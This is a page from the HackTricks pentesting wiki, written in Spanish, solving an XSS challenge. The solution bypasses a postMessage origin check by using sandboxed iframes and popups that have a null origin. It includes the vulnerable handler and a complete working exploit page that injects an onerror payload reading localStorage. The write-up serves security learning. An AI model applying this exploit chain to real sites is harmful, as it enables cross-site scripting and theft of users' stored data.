hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

6.9 KiB

Saltando SOP con Iframes - 1

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Iframes en SOP-1

En este desafío creado por NDevTK y Terjanq necesitas explotar un XSS en el código.

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
  const data = e.data;
  if (e.origin !== window.origin && data.identifier !== identifier) return;
  if (data.type === 'render') {
    renderContainer.innerHTML = data.body;
  }
}

El problema principal es que la página principal utiliza DomPurify para enviar data.body, por lo que para enviar tus propios datos html a ese código, necesitas burlar e.origin !== window.origin.

Veamos la solución que proponen.

Burlando SOP 1 (e.origin === null)

Cuando //example.org se incrusta en un iframe con sandbox, entonces el origen de la página será null, es decir, window.origin === null. Así que simplemente incrustando el iframe a través de <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> podríamos forzar el origen null.

Si la página fuera incrustable, se podría burlar esa protección de esa manera (es posible que también sea necesario establecer las cookies en SameSite=None).

Burlando SOP 2 (window.origin === null)

El hecho menos conocido es que cuando se establece el valor de sandbox allow-popups, entonces la ventana emergente abierta heredará todos los atributos con sandbox a menos que se establezca allow-popups-to-escape-sandbox.
Por lo tanto, abrir una ventana emergente desde un origen nulo hará que window.origin dentro de la ventana emergente también sea null.

Solución del desafío

Por lo tanto, para este desafío, se podría crear un iframe, abrir una ventana emergente a la página con el controlador de código XSS vulnerable (/iframe.php), como window.origin === e.origin porque ambos son null, es posible enviar un payload que explotará el XSS.

Ese payload obtendrá el identificador y enviará un XSS de vuelta a la página superior (la página que abrió la ventana emergente), que cambiará la ubicación a la vulnerable /iframe.php. Debido a que se conoce el identificador, no importa que la condición window.origin === e.origin no se cumpla (recuerda, el origen es la ventana emergente del iframe que tiene origen null) porque data.identifier === identifier. Entonces, el XSS se activará de nuevo, esta vez en el origen correcto.

<body>
  <script>
    f = document.createElement('iframe');
    
    // Needed flags
    f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
    
    // Second communication with /iframe.php (this is the top page relocated)
    // This will execute the alert in the correct origin
    const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
      x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
    },1000);`.replaceAll('\n',' ');
   
   // Initial communication
   // Open /iframe.php in a popup, both iframes and popup will have "null" as origin
   // Then, bypass window.origin === e.origin to steal the identifier and communicate
   // with the top with the second XSS payload
    f.srcdoc = `
    <h1>Click me!</h1>
    <script>
      onclick = e => {
        let w = open('https://so-xss.terjanq.me/iframe.php');
        onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
        setTimeout(_ => {
          w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
        }, 1000);
      };
    <\/script>
    `
    document.body.appendChild(f);
  </script>
</body>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥